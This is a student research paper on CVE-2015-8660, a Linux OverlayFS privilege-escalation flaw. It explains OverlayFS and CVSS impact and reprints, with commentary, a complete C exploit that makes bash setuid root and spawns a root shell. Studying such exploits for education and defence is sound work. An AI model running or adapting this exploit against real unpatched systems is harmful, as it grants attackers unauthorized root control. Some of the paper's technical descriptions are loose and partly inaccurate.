CVE RESEARCH

Nicholas Hamlett

11/30/2022

COSC 440.001 Towson University

Abstract

The purpose of this paper is to explain CVE 2015-8660 in detail and discuss its potential impact on a vulnerable system. Since this vulnerability revolves mainly around OverlayFS, this paper will contain detailed explanations for how OverlayFS works and how it could leave a Linux Operating System vulnerable. This paper will also contain analysis of exploitation code, post-exploit capabilities, and impact of vulnerability in relation to confidentiality, integrity, and availability.

I. Introduction

Technology is constantly growing. As Technology continues to grow, many different threat actors seek new ways to exploit technology for their own uses. Malicious actors look for different weaknesses within a system that can lead to data exfiltration, complete system shutdown, or privilege escalation. Because there are high amounts of vulnerabilities that are found every day, once remediated, these vulnerabilities are posted to a Common Vulnerabilities and Exposures (CVE) list. This allows other security professionals to stay current on the weaknesses of their software and hardware in their system. Organizations such as MITRE work to compile these CVEs into an extensive database for enterprise companies to use to stay ahead of potential threats to their systems. One vulnerability in this database is CVE 2015-8660. This vulnerability is one that is found on the Linux kernel. If malicious actors make use of this vulnerability, they'll be granted escalated privileges within the system. As I continue this discussion regarding this vulnerability, I will explore several topics such as the specifics of CVE 2015-8660, analysis of exploitation code, and post-exploitation capabilities of a malicious actor.

II. Chosen Vulnerability?

A. Definition of CVE

CVE 2015-8660 is a Common Vulnerability and Exposure that was reported by Adam Mariš in 2015 [1]. This CVE is a vulnerability within a local Linux kernel that allows a local user to gain escalated privileges and access root level information within the operating system [2]. This type of vulnerability allows a malicious actor to bypass a restriction to access/exfiltrate information [2]. This vulnerability lies in the ovl_setattr function in the fs/overlays/inode.c program in the Linux kernel versions up to 4.3.3 [2]. This particular program "attempts to merge distinct setattr operations, which allows local users to bypass intended access restrictions and modify attributes of arbitrary overlay files via a crafted application" [2]. Below is a list of current vulnerable versions of Linux OS.

1. Ubuntu 14.04 LTS
2. Ubuntu 15.10

Since this vulnerability was discovered in 2015, this vulnerability has been patched and updated, making it impossible to exploit this specific vulnerability on many current Linux systems.

B. OverlayFS

As mentioned before, this vulnerability is found in the ovl_setattr function in the inode.c program. This function utilizes functions of a concept called OverlayFS [2]. OverlayFS is a union mount filesystem on Linux that virtually merges multiple folders while keeping their contents separate [3]. It combines multiple underlying mount points into one directory structure for ease of use. This process is often used by live USBs, allowing virtual merging of directories even if files belong to different filesystems [3]. In OverlayFS there are generally three directories, a Lower directory, an Upper directory, and the Overlay directory [4]. The Lower directory is meant for files in the union mount that are specifically read only [4]. This means that when a user tries to modify files that were a part of the Lower directory, those changes can be virtually seen in the Overlays directory. However, if the Lower directory is ever unmounted, those changes will not be carried over or saved [4]. This is also the case if the user attempts to remove files that were once a part of the Lower directory. Instead of those files being completely removed, they are simply hidden [4]. These "hidden" files are called *whiteout files* [4]. If the Lower directory is ever unmounted, those files would become visible again for the user to access [4]. The Upper directory is meant for files that are readable and writable [4]. Unlike the Lower directory, if files that are a part of the Upper directory are modified, those changes will be saved if the Upper directory is ever unmounted [4]. Once these files have been mounted and merged, they are stored in the Overlay directory for the user to access [4].

For this CVE, OverlayFS is vulnerable due to the ovl_setattr function. As mentioned before, this function attempts to merge different operations for OverlayFS [2]. Because this function is

not secure, it allows a malicious actor to user OverlayFS to bypass restrictions and gain root privileges within a local system.

C. *CVE Impact*

The potential impact of CVEs is scored according to the Common Vulnerabilities Scoring System (CVSS). According to NIST, a CVSS score does not measure risk [5]. This score is simply to measure the severity of a vulnerability [5]. Below are the scoring ranges listed by NIST.

1. Low Severity: 0 – 3.9
2. Medium Severity: 4.0 – 6.9
3. High Severity: 7.0 – 10.0

CVE 2015-8660 has a CVSS score of 7.2, making it moderately high on the CVSS scale [2].

Since this CVE allows a malicious user to gain root privileges, the CIA triad is completed compromised. If root privileges are gained, total information disclosure is highly likely, removing any chance of keeping information contained within the system confidential [5]. There is also a complete loss of system integrity since a malicious user is able to modify all system protection and integrity controls [5]. Finally, there can be a complete loss of system availability. A malicious root user is able to render all resources within a system unavailable [5]. This could prevent working applications or services from accessing crucial information rendering them useless. Very little knowledge is needed to exploit this vulnerability due to the amount of open-source information and lack of security controls on vulnerable systems. This, combined with the impact on the CIA triad and lack of authentication required to exploit, justifies the high impact of this vulnerability.

III. Exploitation of Vulnerability

To exploit this vulnerability, a malicious user needs to have access to a local vulnerable system. Once a user has access to a vulnerable system, the malicious user simply needs to compile and run a crafted application in a coding language of their choice that can exploit this vulnerability. Once done, the malicious user should see a subterminal session open with the name of *root@ubuntu*, showing that privileges have been successfully escalated. An example of a crafted application can be found using an exploit database. Below are screenshots of a crafted application found on one of these databases.

A. *Analysis of code: Part I*

The chosen crafted application was created using the C programming language. This is most likely due to C being an efficient programming language for manipulating processes or accessing system resources in a Linux system. This program consists of one user created function that is utilized in the main function of the program. The overall purpose of this program is to create a separate thread that executes the *child_exec()* function. This function is the user created function that exploits the overlayFS vulnerability.

```
static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    system("rm -rf /tmp/haxhax");
    mkdir("/tmp/haxhax", 0777);
    mkdir("/tmp/haxhax/w", 0777);
    mkdir("/tmp/haxhax/u",0777);
    mkdir("/tmp/haxhax/o",0777);

    if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/
bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
        fprintf(stderr,"mount failed..\n");
    }

    chmod("/tmp/haxhax/w/work",0777);
    chdir("/tmp/haxhax/o");
    chmod("bash",04755);
    chdir("/");
    umount("/tmp/haxhax/o");
    return 0;
}
```

The above screenshot shows the child_exec() function. As mentioned before, this function is the main part of the exploit. This function first removes the *tmp/haxhax* directory if it already exists. From here, the function creates 4 directories *tmp/haxhax*, *tmp/haxhax/w*, *tmp/haxhax/u*, and *tmp/haxhax/o*. These directories will serve as the destination for the overlayFS mount, with */w*, */u*, and */o* serving as the working, upper, and overlay directories respectively. The next part of this function simply attempts to complete a union mount using the directories mentioned above as well as the */bin* directory as the lower directory. If this mount is successful, the function will modify permissions of the working directory, change directories, and modify the permissions of bash. These last lines of code are the core of this function. This is where the exploit is able to gain root privileges by using chmod. The ovl_setattr function enables the change of privileges in within overlayFS, this led to the attacker changing the permissions of bash. The *chmod("bash", 04755)* line changes the permissions of the bash terminal to have its *uid* set, allowing bash to run as its owner, no matter who executes it. Since "bash" is located in /bin, this means that its owner is root, giving all bash terminals root privileges, no matter which user executes it. From here the overlayFS mount is no longer needed, therefore an unmount is done and 0 is returned.

B. *Analysis of code: Part II*

```
int
main(int argc, char **argv)
{
    int status;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;
    struct stat s;

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    stat("/tmp/haxhax/u/bash",&s);

    if(s.st_mode == 0x89ed)
        execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid
(0,0,0);os.execl('/bin/bash','bash');\"",NULL);

    fprintf(stderr,"couldn't create suid :(\n");
    return -1;
}
```

The above screenshot is the last portion of the chosen crafted application, the *main()* function. This function's task is to simply create a separate thread that executes the

child_exec() function. A few variables are initialized, then a new user namespace is created, followed by a new mount namespace being created. If no errors are returned, the function will return 0, ending execution. Once execution has terminated, the attacker should immediately see a new root shell within their current bash terminal, indicating that the exploit was successfully.

Creating a crafted application such as one seen above take's little to no effort. It requires an attacker to have minimal knowledge of Linux system architecture and some knowledge of overlayFS. Which a few weeks of research and use of open-source resources, any attacker would be able to successfully exploit this vulnerability.
[2].

IV. Post Expoitation Capabilities

The post exploitation capabilities of this vulnerability are endless. Since the malicious user is able to obtain root privileges, they are able to compromise the confidentiality, integrity, and availability of the system and everything within. This includes viewing current user passwords, exfiltrating sensitive information, or even modifying system controls to prevent authorized users from accessing the system. The possibilities are truly endless for what a malicious user can do once an exploit to this vulnerability is successful.

V. Conclusion

In conclusion, CVE 2015-8660 exposes the Linux kernel to absolute system compromise. While OverlayFS is meant to help users mount files together in one shared space, it instead left this version of the Linux kernel to privilege escalation. Due to the low complexity of completing this exploit and post exploitation capabilities, the impact of this vulnerability is high, scoring a 7.2 on the CVSS scale [2]. Thankfully, this vulnerability was reported and is currently patched as of 2022 on all current versions of the Linux kernel. While other overlayFS vulnerabilities may exist, this specific vulnerability has been successfully patched.

The importance of analyzing and researching CVEs is to understand how our systems were vulnerable. This helps users avoid those same mistakes. Whether those mistakes may be a misconfiguration of controls or lack of updating or patching, posting CVEs allows people to stay up to date with protecting their systems. Companies such as MITRE or organizations such as NIST work together to contribute to this cause by having their own CVE lists that are available for the public to see. Learning from our mistakes is how the cybersecurity community can continue to protect the technology that matters the most to us.

References

[1] https://bugzilla.redhat.com/show_bug.cgi?id=1291329

[2] https://www.cvedetails.com/cve/CVE-2015-8660/

[3] https://scientyficworld.org/overlayfs-cve-2021-3493/#:~:text=Search-,OverlayFS%3A%20Exploit%20Kernel%20Vulnerability%20in,(CVE%2D2021%2D3493)&text=Early%20in%202021%2C%20yet%20another,permissions%20to%20the%20root%20user

[4] https://www.youtube.com/watch?v=uJbJKcUsILI

[5] https://nvd.nist.gov/vuln-metrics/cvss